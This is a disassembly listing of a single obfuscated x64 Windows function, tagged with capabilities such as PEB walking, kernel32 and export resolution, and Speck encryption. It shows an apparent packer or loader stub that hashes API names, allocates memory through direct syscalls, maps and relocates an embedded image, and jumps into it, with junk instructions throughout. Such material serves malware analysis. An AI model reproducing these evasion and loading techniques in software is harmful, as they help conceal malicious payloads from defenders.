Function at 0x140443ab0
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
jmp 0x140443ac4
push r14
jmp 0x140443acb
push r13
push r12
cmc
jmp 0x140443ad5
push rsi
cmc
cmp r9w, 0x29a9
stc
push rdi
jmp 0x140443ae4
push rbp
test bpl, r12b
cmp r10b, 0xfc
stc
push rbx
cmc
cmp r14w, dx
sub rsp, 0x78
jmp 0x140443b00
cmp qword [0x1400dd010], 0
je 0x140443b5e
xor eax, eax
lea rcx, [section.gxpveax0]
movsx r15, r10w
not r15b
btr r15, rdx
nop word cs:[rax + rax]
shl r15, cl
lea r15, [rax + 0x10]
jmp 0x140443b3b
cmp qword [rax + rcx + 0x20], 0
movsx rax, ax
movsx ax, r8b
lahf
mov rax, r15
jmp 0x140443b53
jne 0x140443b32
jmp 0x140443b6b
sub r15d, r15d
movsx r12w, r9b
movzx r10w, bl
movabs r12, 0xcbf29ce484222325
adc ecx, 0x74214fab
xor r10, rdi
movabs r13, 0x1d12a89b9e723ff5
rcl r8d, 0x52
mov rcx, qword gs:[0x30]
sub r10b, r11b
movsxd r8, edi
sal r10w, cl
mov rcx, qword [rcx + 0x60]
bt r10w, 0x7b
movsxd r10, r15d
adc r10b, 0x8f
mov r10, qword [rcx + 0x18]
add r10, 0x10
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140443bd5
cmp rbx, r8
jmp 0x140443bcf
je 0x140443ccf
mov r10, qword [r10]
cmp sp, 0x7786
inc r9w
mov r9, qword [r10 + 0x30]
cmp r13, 0x72864e06
clc
test r9, r9
jmp 0x140443bf5
je 0x140443f3e
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
test dh, 0x7d
test bpl, spl
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140443c18
lea rdi, [rdi + 1]
jmp 0x140443c21
jne 0x140443c0c
mov rbx, r12
cmp bp, r9w
test rdi, rdi
jmp 0x140443c36
je 0x140443bc7
sub ecx, ecx
rcl esi, cl
mov rdx, r12
btr si, r12w
nop word [rax + rax]
bt ax, 0x33
shr eax, cl
movzx ebx, word [r11 + rcx*2]
sar bpl, cl
bsr si, r13w
shl bp, cl
lea ebp, [rbx - 0x41]
lea esi, [rbx - 0x410]
clc
shl al, cl
bts ax, cx
lea eax, [rbx + 0x20]
clc
test sp, 0x40e7
cmp si, 0x20
jmp 0x140443c87
cmovb ebx, eax
test bl, r14b
cmp bp, 0x1a
jmp 0x140443c96
cmovb ebx, eax
cmp r11, 0x288b2f89
cmp spl, r14b
movzx ebx, bx
xor rbx, rdx
cqo
imul rbx, r13
movzx rdx, r15w
inc ecx
xadd dx, dx
not dh
mov rdx, rbx
test r12d, r11d
cmp rcx, rdi
jb 0x140443c55
jmp 0x140443bc7
test r10, r10
jmp 0x140443cd7
je 0x140443f3e
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
btr edx, ebp
sbb dl, r11b
lea rcx, [r9 + rax]
sbb dl, r14b
btr dx, 0x8f
movsx rdx, r11w
test rax, rax
not dx
mov dl, r13b
bswap rdx
cmove rcx, rax
sub dx, r14w
mov qword [rsp + 0x38], rcx
rcl dx, cl
movsx dx, dil
sar rdx, 0x5f
mov edx, dword [rcx + 0x18]
test edx, edx
jmp 0x140443d2e
je 0x140443f3e
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x20]
add r8b, 0x26
cmp r12b, dl
rcr r8b, 0xff
add rcx, r9
mov qword [rsp + 0x40], rcx
mov r10d, dword [rax + 0x24]
cmp r8w, cx
lea r10, [r10 + r9]
movzx r8w, spl
mov r8d, dword [rax + 0x1c]
cmp r8b, 0xe8
stc
jmp 0x140443d6e
lea r8, [r8 + r9]
cmp r13b, r10b
test r8w, dx
sub edi, edi
jmp 0x140443d80
jmp 0x140443da8
mov edx, dword [rsp + 0x20]
bswap ax
movsx eax, r8w
jmp 0x140443d95
inc rdi
mov eax, edx
cmp rdi, rax
jmp 0x140443da2
jae 0x140443f3e
movzx ecx, word [r10 + rdi*2]
sbb bl, 0x32
sar bl, 0x1e
bt ebx, edx
mov ebx, dword [r8 + rcx*4]
stc
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x140443d95
mov dword [rsp + 0x20], edx
rcr si, 0xec
mov rax, qword [rsp + 0x40]
mov si, 0x6196
mov esi, dword [rax + rdi*4]
movsx ebp, di
mov bp, r14w
lea rsi, [rsi + r9]
mov rbp, 0xffffffffffffffff
stc
cmp r14w, bp
nop dword [rax + rax]
stc
clc
cmp byte [rsi + rbp + 1], 0
lea rbp, [rbp + 1]
jmp 0x140443e09
jne 0x140443dfb
mov rcx, r12
cmp dil, 0xae
test rbp, rbp
jmp 0x140443e1e
je 0x140443eb8
sub r14d, r14d
test r12, 0x21c96b06
movsx edx, r9w
mov r11, r12
nop dword [rax]
add dx, bx
movsx rdx, si
movzx ecx, byte [rsi + r14]
sub ah, 0xfb
lea edx, [rcx - 0x41]
bt eax, r12d
shld ax, r12w, 0x72
rol al, cl
lea eax, [rcx + 0x20]
cmp esi, 0x7bd31ed4
test cl, ah
cmp dl, 0x1a
jmp 0x140443e6d
movzx eax, al
cmovae eax, ecx
mov cx, sp
movzx cx, spl
movsx rcx, al
cmc
test rbp, r8
xor rcx, r11
ror r11b, 0x8b
test rsp, r13
imul rcx, r13
not r11w
movzx r11, r8w
cmove r11d, edx
inc r14d
dec r11
mov r11, rcx
jmp 0x140443eaf
cmp r14, rbp
jb 0x140443e43
mov rsi, qword [0x1400dd010]
cmp r14b, 0xe2
test al, 0x56
test rsi, rsi
jmp 0x140443ecd
je 0x140443d85
lea rbp, [0x1400dd020]
nop word cs:[rax + rax]
clc
cmp rsi, rcx
jmp 0x140443ef2
je 0x140443f19
mov rsi, qword [rbp]
test r13b, r9b
cmp r11b, sil
add rbp, 0x10
test rsi, rsi
jmp 0x140443f0e
jne 0x140443eea
jmp 0x140443d85
mov eax, dword [rbx + r9 + 4]
movzx rdx, r15w
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
mov rdx, 0x4c7623ab
mov edx, dword [rax + 0x18]
jmp 0x140443f39
jmp 0x140443d95
test r15, r15
jmp 0x140443f46
je 0x140443ff8
xor ebp, ebp
add rcx, rdi
lea rbx, [section.gxpveax0]
sal rcx, 0x92
btr rcx, rsi
movzx edx, ax
mov rcx, r12
rcl dh, 0x72
nop dword [rax]
or dh, 0xc2
movzx edx, byte [rbp + rbx + 0x10]
jmp 0x140443f7f
xor rcx, rdx
jmp 0x140443f87
imul rcx, r13
jmp 0x140443f90
inc ebp
cmp rbp, r15
jmp 0x140443f9a
jb 0x140443f6f
movabs rdx, 0xe9203a08b69f42e8
cmp r14d, 0x6a542bbd
lea rcx, [rcx + rdx]
rol rdx, 0xbc
movabs rdx, 0x52aea00e8a0b3911
xor rdx, rcx
setno cl
neg ecx
sub rcx, 0x3bb600b1
movabs rcx, 0xee16cad6b000daab
jmp 0x140443feb
add rcx, rdx
jmp 0x140443ff3
jmp 0x14044400c
movabs rcx, 0xd5d341ba60cb39c7
rcl rax, 0xd
stc
bt ax, r15w
rol rcx, 0x16
rcr ah, cl
movabs rax, 0x957b6a83b7a0090f
test spl, spl
xor rax, rcx
test rcx, 0x24ce5ea7
cmovnp cx, r11w
movabs rcx, 0xec0e237d69308474
clc
lea rcx, [rcx + rax]
test ebx, 0x2786133b
clc
mov qword [0x1400b7208], rcx
clc
cmp qword [0x1400de010], 0
jmp 0x140444059
je 0x1404440a6
xor ecx, ecx
lea rdx, [section.YudTeax1]
lahf
cmp r12b, r10b
nop
mov ah, 0xfd
movsxd rax, r8d
bt eax, esi
lea rax, [rcx + 0x10]
test r8w, 0x3448
cmp qword [rcx + rdx + 0x20], 0
movsx ecx, r8w
movzx cx, r10b
xchg cx, cx
mov rcx, rax
jmp 0x14044409b
jne 0x140444077
jmp 0x1404440a9
sub eax, eax
stc
mov qword [rsp + 0x60], rax
xor ecx, ecx
jmp 0x1404440d5
mov rcx, qword [rsp + 0x30]
inc rcx
jmp 0x1404440c6
cmp rcx, 8
jmp 0x1404440cf
je 0x1404444b6
lea rax, [0x1400bfdf0]
xor r8b, r8b
xadd r8b, r10b
test rdi, 0x4ba44faf
mov qword [rsp + 0x30], rcx
mov r8, qword [rax + rcx*8]
and rax, 0x450a0d82
mov al, 0xcc
mov rax, qword gs:[0x30]
movzx r10d, r15w
inc r10b
mov rax, qword [rax + 0x60]
shr r10w, cl
btc r10w, bp
sbb r10b, al
mov r10, qword [rax + 0x18]
add r10, 0x10
jmp 0x140444129
jmp 0x14044413c
cmp rdx, r8
jmp 0x140444136
je 0x140444236
mov r10, qword [r10]
cmp r11d, ebp
shld r11w, bx, 0x3f
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x140444154
je 0x1404440b5
mov r14, qword [r10 + 0x60]
bswap ebx
cmp cl, r8b
ror bx, 0x53
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp word [r14 + rbx*2 + 2], 0
jmp 0x14044417e
lea rbx, [rbx + 1]
jmp 0x140444187
jne 0x140444172
mov rdx, r12
test rbx, rbx
je 0x14044412e
sub ecx, ecx
shr dh, cl
mov rdi, r12
shr bp, 0x96
test r10, 0x29155513
nop word [rax + rax]
neg dh
movzx eax, word [r14 + rcx*2]
ror dx, cl
lea edx, [rax - 0x41]
add esi, 0x75ce582d
rcr si, cl
lea esi, [rax - 0x410]
rcr ebp, 0xc7
movzx ebp, r12w
lea ebp, [rax + 0x20]
test cl, 0xa9
cmc
cmp si, 0x20
jmp 0x1404441e4
cmovb eax, ebp
stc
cmp eax, r15d
cmp dx, 0x1a
movsx edx, bp
cmovb eax, ebp
mov dl, r11b
rcr dx, 0xe3
sal dx, 0x12
movzx edx, ax
test r13w, r11w
clc
xor rdx, rdi
sbb dil, r14b
stc
imul rdx, r13
jmp 0x140444218
inc ecx
sar rdi, cl
sub dil, bl
mov rdi, rdx
cmp rcx, rbx
jmp 0x14044422b
jb 0x1404441b3
jmp 0x14044412e
test r10, r10
jmp 0x14044423e
je 0x1404440b5
movzx eax, word [r11]
cmp eax, 0x5a4d
jne 0x14044428a
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
test eax, r10d
cmp dword [r11 + rax], 0x4550
bswap rax
cmove r9, r11
movsxd rax, eax
cmovne ax, r10w
cbw
mov rax, qword [rsp + 0x58]
cmove rax, rcx
jmp 0x140444285
jmp 0x140444292
mov rax, qword [rsp + 0x58]
shl rbp, cl
mov qword [rsp + 0x58], rax
mov ecx, dword [rax + 0x88]
xadd bpl, al
and al, r9b
clc
lea rax, [r9 + rcx]
movzx ebp, r15w
adc bp, 0x13cc
sub bp, r12w
test rcx, rcx
movsx ebp, sp
cmove rax, rcx
stc
movzx ebp, si
mov ebp, dword [rax + 0x18]
stc
test ebp, ebp
jmp 0x1404442cf
je 0x1404440b5
mov r14d, dword [rax + 0x20]
bt rcx, r15
add r14, r11
sub rcx, 0x410b4718
rcl cl, 0x6a
movsx cx, r13b
mov ecx, dword [rax + 0x24]
cmc
lea rcx, [rcx + r11]
mov qword [rsp + 0x40], rcx
test r13b, r15b
mov qword [rsp + 0x20], rax
mov eax, dword [rax + 0x1c]
add rax, r11
mov qword [rsp + 0x38], rax
cmc
xor esi, esi
jmp 0x140444317
jmp 0x140444373
mov rax, qword [rsp + 0x40]
movsx rdx, ax
movzx eax, word [rax + rsi*2]
cwd
jmp 0x140444334
mov rdx, qword [rsp + 0x38]
mov eax, dword [rdx + rax*4]
rcl ebp, cl
bt bp, 0xea
add rax, r11
movsx bp, bpl
mov qword [rcx - 8], rax
cmovo rbp, r9
movsx rax, r12w
mov rax, qword [rsp + 0x20]
mov ebp, dword [rax + 0x18]
inc rsi
shl al, cl
btc rax, r8
mov eax, ebp
cmp rsi, rax
jae 0x1404440b5
mov r8d, dword [r14 + rsi*4]
adc bl, r8b
not rbx
lea r8, [r8 + r11]
rol bl, cl
rol bh, 0x5d
mov rbx, 0xffffffffffffffff
nop dword [rax]
cmp spl, r15b
cmp byte [r8 + rbx + 1], 0
jmp 0x14044439f
lea rbx, [rbx + 1]
jne 0x140444394
mov r10, r12
test rbx, rbx
jmp 0x1404443b4
je 0x140444460
xor ecx, ecx
adc di, di
cmp bx, r12w
mov r15, r12
shrd ax, r10w, 0x30
bts ax, si
nop dword [rax]
cqo
rcl r10d, 0xde
bsf r10w, r10w
movzx edi, byte [r8 + rcx]
lea eax, [rdi - 0x41]
lea edx, [rdi + 0x20]
rol r10w, cl
cmp al, 0x1a
cdqe
movzx r10, r13w
movzx eax, dl
movzx r10w, cl
not r10w
mov r10b, r12b
cmovae eax, edi
adc r10, 0x1d532322
movzx r10, r10w
movsx r10, al
stc
cmc
jmp 0x140444421
xor r10, r15
movsx r15w, spl
btr r15, r12
imul r10, r13
mov r15b, r14b
movzx r15w, r9b
not r15w
inc ecx
btr r15w, r13w
ror r15b, 0xbb
bt r15d, r15d
mov r15, r10
test r12b, cl
cmp rcx, rbx
jmp 0x14044445a
jb 0x1404443e2
mov rbx, qword [0x1400de010]
test rbx, rbx
je 0x14044435f
lea rcx, [0x1400de020]
cmp bh, 0x16
nop dword [rax + rax]
jmp 0x140444484
cmp rbx, r10
jmp 0x14044448c
je 0x14044431c
mov rbx, qword [rcx]
jmp 0x14044449d
add rcx, 0x10
test rbp, 0x446829db
test rbx, rbx
jne 0x140444484
jmp 0x14044435f
mov rax, qword [rsp + 0x60]
test spl, r15b
jmp 0x1404444c8
test rax, rax
je 0x14044452f
xor ecx, ecx
movsx dx, dl
sar dh, 0x8a
bsr dx, r12w
lea rbp, [section.YudTeax1]
nop dword [rax]
btc dx, 0x8d
rcl dh, 0x54
movzx edx, byte [rcx + rbp + 0x10]
clc
xor rdx, r12
adc r12d, 0x70992713
imul rdx, r13
dec r12w
movzx r12, r8w
seto r12b
inc ecx
shld r12w, dx, 0x3e
mov r12, rdx
cmp rcx, rax
jmp 0x140444524
jb 0x1404444f1
jmp 0x14044453b
mov rdx, r12
rol cx, 0x2e
lahf
movsx rax, bp
rol rdx, 0xb
sbb cl, r9b
cmovl ax, r11w
movzx ax, bl
movabs rax, 0xdf7ad2359957b5f4
cmc
bsr ecx, r10d
clc
add rax, rdx
bt cx, r14w
rol rax, 0x16
movabs rcx, 0x4934245b3ce013cf
cmc
test r9d, 0x50fe6b7c
test r12w, r12w
xor rcx, rax
bsf ax, r15w
test ebp, 0x3d482732
movabs rax, 0x5b5c0083c64fa867
add rax, rcx
setle ch
movsx cx, dh
rol rax, 0xc
movabs rcx, 0xdd5421de87040723
add rcx, rax
stc
btc ax, 0x2b
rol rcx, 0x25
test r13d, 0x48a36c8a
bswap ax
mov qword [0x1400b7210], rcx
btr eax, r8d
btc cx, di
rol cl, cl
mov eax, dword [0x7ffe0014]
sbb rcx, 0x1d1e607a
movsx cx, r14b
mov dword [0x1400b8eb8], eax
not ecx
sar ch, 0x11
ror rcx, 0x68
movzx ecx, word [0x140000000]
cmp ecx, 0x5a4d
jmp 0x140444609
jne 0x140444659
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
cmp si, 0x3c17
jmp 0x140444627
cmp dword [rcx + rdx], 0x4550
jne 0x140444659
lea rbx, [rcx + rdx]
bsr r12w, di
movzx r13, r9w
lea r14, [rcx + rdx]
rol edx, 0xb3
mov r9b, 0xa1
add r14, 0x108
movsx ebp, dx
or r12w, r15w
imul eax, eax, 0x41c64e6d
btr r9w, 0x64
add eax, 0x3039
bsr r9w, r15w
bt rcx, r12
imul ecx, eax, 0x41c64e6d
test spl, 0xbe
rcr r9, cl
sar r12b, cl
shr eax, 0x10
cqo
lea edx, [rax + rax*2]
test ch, ch
btr r9d, esp
sbb r10b, 0xa
shr edx, 0x10
mov ebp, eax
sar r9b, 0xcb
sub ebp, edx
or r12w, 0x5933
movzx ebp, bp
btc r12, 0x73
shr ebp, 1
mov r10b, 0xf4
sar r10d, 0xf4
or r10, rsp
add ebp, edx
movsxd r12, ebx
rcr r13w, cl
movzx r13d, bp
sbb r12b, 0x5a
shr r13d, 0xe
dec r10b
add r13d, eax
and r13d, 0x3fff
rol dl, cl
cwd
add r13d, 0xfff
neg r9d
rol r12b, 1
and r13d, 0x7000
bsf r12d, r8d
add ecx, 0x3039
mov ah, 7
sbb rdx, r10
movzx edx, si
mov dword [0x1400b8eb8], ecx
movsx r10, bp
shr ecx, 0x10
shr r9, 0x98
test ecx, 0x45887450
btr r9w, 0x28
lea eax, [rcx + rcx*2]
bswap r9w
adc r10w, bp
shr eax, 0x10
ror r10b, 0xbf
cmp ah, bl
mov edx, ecx
movsx r9, r15w
xadd r10d, r12d
sal r12b, cl
sub edx, eax
adc r12b, r9b
movzx edx, dx
and r12b, 0xf4
shr r10b, cl
bsr r10w, r9w
shr edx, 1
add edx, eax
mov r9b, dl
movzx r12d, dx
setp r10b
shr r12d, 0xe
btr rax, 0x3c
add r12d, ecx
movsx r10, bp
and r12d, 0x3fff
movzx dx, bh
test dil, r10b
add r12d, 0xfff
cwde
bt cx, cx
and r12d, 0x7000
bt r10w, 0x3f
mov qword [rsp + 0x28], 0
bts cx, r12w
clc
sal al, cl
mov qword [rsp + 0x20], rbx
adc r9b, r14b
mov ecx, dword [rbx + 0x50]
shrd r9, rcx, 0xcd
lea rcx, [rcx + r12]
btr r9w, r10w
sar r9b, cl
lea rcx, [rcx + r13]
bts r10, r11
mov qword [rsp + 0x48], rcx
sub r10, rdx
mov eax, dword [0x1400dd078]
bts r10w, r14w
rol dx, cl
rcl dx, 0xdb
lea rdx, [rsp + 0x28]
shrd r9, r15, 0xb5
dec r9w
lea r9, [rsp + 0x48]
mov r10, 0xffffffffffffffff
test si, r9w
clc
cmp di, 0x220f
sub r8d, r8d
sub rsp, 0x40
mov qword [rsp + 0x28], 0x3000
mov qword [rsp + 0x30], 4
jmp 0x140444830
syscall
add rsp, 0x40
mov rcx, qword [rsp + 0x28]
btr r8, 0x32
movzx r8w, dil
bsr r8, r9
mov r8, qword [rsp + 0x48]
sub edx, edx
jmp 0x140444855
call fcn.1404a5ab9
mov r15, qword [rsp + 0x28]
cmp bpl, 0xb2
test r13d, r13d
jmp 0x14044486b
je 0x140444aca
mov rcx, r13
rdtsc
movsxd rdi, r8d
shr rcx, 3
mov bpl, 0xf4
btr edi, r9d
cmp rcx, 2
jmp 0x14044488d
mov r8d, 1
bswap bp
cbw
cqo
cmovae r8, rcx
shl cl, cl
rcl ah, cl
cwd
sub r9d, r9d
xadd cx, di
cdqe
bsf dx, r15w
nop word cs:[rax + rax]
neg rax
lahf
sbb dil, bl
imul edx, dword [0x1400b8eb8], 0x41c64e6d
ror di, cl
movsx ebp, r10w
movzx eax, ax
add edx, 0x3039
shl sil, 0x7c
btc si, 0x61
imul edi, edx, 0x41c64e6d
shl bpl, cl
mov ebp, edx
shl ax, cl
cmc
shr ebp, 0x10
sar dl, cl
cbw
lea edx, [rbp + rbp*2]
sub cl, r11b
shld eax, r10d, 0x26
bsr cx, dx
shr edx, 0x10
rol sil, 0xea
movsx esi, ax
mov eax, ebp
sub eax, edx
sal rsi, cl
sar esi, cl
rol sil, 0x58
movzx eax, ax
shr eax, 1
add eax, edx
cmc
and rbx, 0x37835b2b
add edi, 0x3039
movzx edx, ax
bswap ecx
and sil, 0x67
mov eax, edi
test r14w, 0x1cf5
test r13b, bpl
shr eax, 0x10
sar cx, 0x9d
dec cl
xchg si, cx
lea ebx, [rax + rax*2]
xor cl, r13b
test r10b, 0xb7
shr edx, 0xe
shr ebx, 0x10
rol sil, 0x5e
and cx, r15w
mov esi, eax
adc cx, r14w
sub esi, ebx
mov ecx, edx
clc
cmc
cmp r15w, 0x5786
movzx esi, si
test ecx, eax
cmp edi, 0x60d503de
shr esi, 1
jmp 0x14044499a
add esi, ebx
sub ebx, 0x1b09561d
shl ecx, 0xf
movsx rbx, r14w
add bl, 0x5b
movzx ebx, si
rcl rsi, cl
shrd si, r8w, 0x35
shr ebx, 0xe
movsx esi, cx
movsxd rsi, esp
clc
mov esi, ebx
cmp r10w, r9w
clc
sub edx, ecx
movzx cx, r9b
shl esi, 0xf
mov cl, r15b
sub ebx, esi
add ebx, eax
shl cx, cl
add edx, ebp
cmp rbx, r8
xor ebp, ebp
rcr ax, cl
movsx ax, dl
cmp bx, 0x10
cwde
setb bpl
or rbx, 0x715e4413
setnp ah
imul eax, edi, 0x41c64e6d
add eax, 0x3039
imul ecx, eax, 0x41c64e6d
shr eax, 0x10
lea ebx, [rax + rax*2]
shr ebx, 0x10
mov edi, eax
test r12w, 0x5a51
stc
test bpl, r10b
sub edi, ebx
clc
movzx edi, di
shr edi, 1
test r9, 0x719f4f43
cmc
add edi, ebx
bsf ebx, r9d
movsx rbx, r10w
test ch, 0xc1
movzx edx, dx
rcl rbx, cl
jmp 0x140444a4f
movzx ebx, di
shr rdi, cl
shl dil, 0xda
shr ebx, 0xe
mov edi, ebx
clc
or rbp, rdx
cmp r15, rsi
shl edi, 0xf
sub ebx, edi
cmp bpl, 0x1e
add ebx, eax
add ecx, 0x3039
jmp 0x140444a7b
sub eax, eax
jmp 0x140444a88
cmp bx, 0x20
setb al
jmp 0x140444a94
mov dword [0x1400b8eb8], ecx
jmp 0x140444a9f
or rax, rbp
jmp 0x140444aa7
mov qword [r15 + r9*8], rax
jmp 0x140444ab0
inc r9
cmp bpl, 0x7f
cmp r8, r9
jne 0x1404448c3
mov r15, qword [rsp + 0x28]
clc
cmp r12b, 0xfd
test r12, r12
jmp 0x140444ad2
je 0x140444d25
sub r15, r12
xor edi, 0x43497fac
add r15, qword [rsp + 0x48]
shrd ecx, ebx, 0xa2
shr r12, 3
cmp r12, 2
mov dl, bh
cdqe
mov r8d, 1
mov sil, dil
movsx rbx, r9w
cmovae r8, r12
btr eax, edi
test r11, rsp
jmp 0x140444b12
sub r9d, r9d
nop
xadd ax, di
cmovno cx, r10w
and dil, 0xb3
imul edx, dword [0x1400b8eb8], 0x41c64e6d
and sil, r15b
sub bh, 0xe8
add ax, cx
add edx, 0x3039
cdqe
movsx ecx, r14w
and dil, 0x63
imul edi, edx, 0x41c64e6d
btc cx, 0xef
mov ebp, edx
xor dh, 0x4c
add sil, 0xa8
bsr cx, ax
shr ebp, 0x10
lea edx, [rbp + rbp*2]
shr edx, 0x10
mov ebx, ebp
sub ebx, edx
rol sil, 0xc6
sbb rcx, 0x36471b63
movzx ebx, bx
shr ebx, 1
sub cx, r12w
add ebx, edx
bswap rax
test sil, dil
add edi, 0x3039
movzx cx, r13b
movzx edx, bx
btc cx, 0x4a
cwde
movsxd rbx, r14d
mov ebx, edi
shr ebx, 0x10
and cl, spl
sbb ax, 0x544b
not si
lea esi, [rbx + rbx*2]
shrd rax, rsi, 0x23
add al, 0xbe
xadd ah, ch
shr edx, 0xe
add ecx, 0x5167176b
rol ch, 0x7f
or ax, r12w
shr esi, 0x10
sbb ax, 0x3a88
xchg ah, ah
sal rax, 0xc0
mov eax, ebx
rcl cl, cl
movzx ecx, r13w
bt cx, r9w
sub eax, esi
rcl rcx, cl
mov ecx, edx
movzx eax, ax
shr eax, 1
cmp al, r14b
add eax, esi
cmc
sbb sil, bl
xor sil, 0x62
shl ecx, 0xf
or esi, 0x14776077
movzx esi, ax
sub sil, 2
movzx eax, ax
sal rsi, 0x2c
shr eax, 0xe
mov esi, eax
sub edx, ecx
rol cx, cl
shl esi, 0xf
sub eax, esi
add eax, ebx
bt cx, 0xea
movsx rcx, r14w
add edx, ebp
xor ebp, ebp
or bl, bpl
cmp ax, 0x10
setbe bpl
setb bpl
imul eax, edi, 0x41c64e6d
add eax, 0x3039
bts cx, r10w
imul ecx, eax, 0x41c64e6d
sbb ebx, r12d
shr eax, 0x10
lea ebx, [rax + rax*2]
add dil, 0x2c
sar dil, cl
xor edi, edx
shr ebx, 0x10
rcr dil, 0xa4
mov edi, eax
sub edi, ebx
cmc
test r9, rcx
movzx edi, di
test r10b, 0xe
clc
shr edi, 1
cmp r8b, r11b
add edi, ebx
sub ebx, 0x7aa807a1
movzx rbx, ax
movzx ebx, bx
movzx edx, dx
movzx ebx, di
and di, 0x2c8b
btr di, cx
shr ebx, 0xe
mov edi, ebx
or rbp, rdx
cmp ah, 0xc
jmp 0x140444cb5
shl edi, 0xf
cmc
clc
sub ebx, edi
test r11, 0x23de62f3
add ebx, eax
test sil, r11b
cmp dx, ax
add ecx, 0x3039
test r9w, 0x7a83
sub eax, eax
cmp r14b, dl
cmp rdi, 0x132f3ca6
cmp bx, 0x20
setb al
jmp 0x140444cf0
mov dword [0x1400b8eb8], ecx
or rax, rbp
jmp 0x140444cfe
mov qword [r15 + r9*8], rax
jmp 0x140444d07
inc r9
cmp r8, r9
jmp 0x140444d12
jne 0x140444b24
mov r15, qword [rsp + 0x28]
neg al
shr ax, cl
ror eax, 0xcb
mov rax, qword [rsp + 0x20]
test r14w, 0x7afa
cmp dh, 0x69
add r15, r13
movzx eax, word [rax + 6]
cmc
test rax, rax
je 0x140444e86
shl rax, 3
sal dh, cl
bts rdx, r14
adc ebx, r8d
lea rbp, [rax + rax*4]
xor edi, edi
cwd
mov ebx, 4
shl r12b, cl
lea rsi, [rsp + 0x70]
ror dx, 0xe1
lea r12, [rsp + 0x68]
xadd dl, ch
lea r13, [rsp + 0x54]
cqo
xor ch, bh
sbb dx, 0x4fc0
nop dword [rax + rax]
cmc
sub cx, r13w
mov edx, dword [r14 + rdi + 0xc]
ror r8w, 0x9a
cmp r13, 0x1ebd19ba
lea rcx, [r15 + rdx]
adc r8b, r8b
bt ax, r13w
movsx rax, si
mov qword [rsp + 0x70], rcx
bt ax, 0xd5
shld r8w, sp, 9
mov al, r15b
lea rax, [0x140000000]
sal r8d, cl
btc r8w, dx
add r8b, 0xd7
add rdx, rax
mov r8, 0x1a1e053d
not r8b
mov r8b, dil
mov r8d, dword [r14 + rdi + 8]
jmp 0x140444deb
call fcn.1404a4fce
mov eax, dword [r14 + rdi + 8]
movzx r10d, di
movzx rdx, dx
shrd r10, rbp, 0xa3
mov qword [rsp + 0x68], rax
shl edx, 0x81
mov dword [rsp + 0x54], 0
cmp bx, dx
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
cmove r9d, ebx
sbb r10w, 0x1fa3
mov dl, r8b
shl dx, cl
mov eax, dword [0x1400dd088]
sbb dl, r13b
mov dh, ah
cwd
mov r10, 0xffffffffffffffff
movzx r8, r15w
cmc
mov rdx, rsi
sbb r8b, 0xfd
rcr r8w, cl
mov r8, r12
cmc
sub rsp, 0x30
jmp 0x140444e65
mov qword [rsp + 0x28], r13
jmp 0x140444e6f
syscall
add rsp, 0x30
add rdi, 0x28
cmp ebp, edi
jmp 0x140444e80
jne 0x140444d8a
lea rdx, [0x140000000]
dec rsi
or al, 0x9f
mov rax, r15
bsf cx, dx
shl si, cl
test r8b, r13b
sub rax, rdx
mov rsi, qword [rsp + 0x20]
sbb cl, bl
add cl, 2
bt ecx, r9d
mov ecx, dword [rsi + 0xb0]
clc
add rcx, rdx
jmp 0x140444ebf
je 0x140444fa9
mov r8d, 1
jmp 0x140444ed0
jmp 0x140444ee9
mov ebx, dword [rcx + 4]
test dx, cx
add rcx, rbx
jmp 0x140444ee3
je 0x140444fa9
cmp dword [rcx], 0
jmp 0x140444ef1
je 0x140444fa9
mov ebx, dword [rcx + 4]
test r13b, 0x6b
stc
test rbx, rbx
je 0x140444fa9
lea rbp, [rbx - 8]
test r13b, cl
stc
jmp 0x140444f15
cmp rbp, 2
jb 0x140444edb
shr rbp, 1
test eax, edx
cmc
cmp rbp, 2
jmp 0x140444f2e
cmovb rbp, r8
sub ebx, ebx
jmp 0x140444f39
jmp 0x140444f72
and edi, 0xfff
sbb dh, 0x1a
xchg dh, dl
mov edx, dword [rcx]
cmp r13b, 0x7c
lea rdi, [rdi + r15]
add qword [rdx + rdi], rax
jmp 0x140444f5c
inc rbx
jmp 0x140444f64
cmp rbp, rbx
jmp 0x140444f6c
je 0x140444ed5
movzx edi, word [rcx + rbx*2 + 8]
clc
stc
test esi, r13d
cmp edi, 0x1000
jb 0x140444f5c
mov edx, edi
shr edx, 0xc
cmp edx, 0xa
jmp 0x140444f95
je 0x140444f3e
cmp edx, 3
je 0x140444f3e
jmp 0x140444f5c
mov ecx, dword [rsi + 0xd0]
jmp 0x140444fb4
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
jmp 0x140444fc9
movdqu xmm2, xmmword [r15 + rcx + 0x10]
jmp 0x140444fd5
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140444fe4
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
add dx, r10w
lea rdx, [0x14005d630]
movsx ecx, sp
bts ecx, esi
or cl, spl
add rdx, rax
movzx ecx, r12w
setne ch
lea rcx, [0x140000000]
jmp 0x140445019
call rdx
nop
add rsp, 0x78
pop rbx
not r13
pop rbp
not rsi
jmp 0x140445034
pop rdi
cmova si, r14w
movsx r12d, cx
pop rsi
sets r15b
pop r12
movsx r15w, r14b
pop r13
movsxd r14, ebx
movzx r15, r9w
pop r14
mov r15w, 0x1bde
movzx r15w, spl
pop r15
jmp 0x140445066
ret